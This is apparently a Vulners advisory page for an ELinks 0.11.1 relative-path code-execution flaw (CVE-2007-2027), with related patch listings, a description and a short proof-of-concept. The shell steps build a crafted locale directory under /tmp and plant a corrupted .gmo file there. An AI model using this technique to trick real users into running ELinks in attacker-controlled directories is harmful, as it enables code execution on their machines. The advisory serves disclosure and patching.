ELinks Relative 0.10.6/011.1 - Path Arbitrary Code Execution
| Reporter | Title | Published | Views | Family All 38 |
|---|---|---|---|---|
 | CVE-2007-2027 | 13 Apr 200718:19 | – | attackerkb |
 | CentOS 4 / 5 : elinks (CESA-2009:1471) | 6 Jan 201000:00 | – | nessus |
| GLSA-200706-03 : ELinks: User-assisted execution of arbitrary code | 7 Jun 200700:00 | – | nessus |
| MiracleLinux 3 : elinks-0.11.1-6AXS3.1 (AXSA:2009-406:01) | 14 Jan 202600:00 | – | nessus |
| Oracle Linux 5 : elinks (ELSA-2009-1471) | 12 Jul 201300:00 | – | nessus |
| OracleVM 2.1 : elinks (OVMSA-2009-0030) | 26 Nov 201400:00 | – | nessus |
| RHEL 4 / 5 : elinks (RHSA-2009:1471) | 2 Oct 200900:00 | – | nessus |
| Scientific Linux Security Update : elinks on SL4.x, SL5.x i386/x86_64 | 1 Aug 201200:00 | – | nessus |
| Ubuntu 6.06 LTS / 6.10 / 7.04 : elinks vulnerability (USN-457-1) | 10 Nov 200700:00 | – | nessus |
 | elinks security update | 6 Oct 200911:12 | – | centos |
10
source: https://www.securityfocus.com/bid/23844/info
ELinks is prone to an arbitrary code-execution vulnerability.
An attacker can exploit this issue to potentially execute arbitrary code with the privileges of the user running the affected application.
This issue requires an attacker to trick an unsuspecting victim into running the vulnerable application in an attacker-controlled directory.
This issue affects ELinks 0.11.1; other versions may also be vulnerable.
$ mkdir -p /tmp/elinks/{run,po}
$ cp /usr/share/locale/fr/LC_MESSAGES/elinks.mo /tmp/elinks/po/fr.gmo
$ dd if=/dev/urandom of=/tmp/elinks/po/fr.gmo bs=1024 seek=1 count=200
$ cd /tmp/elinks/runData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Dec 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.4
EPSS0.00841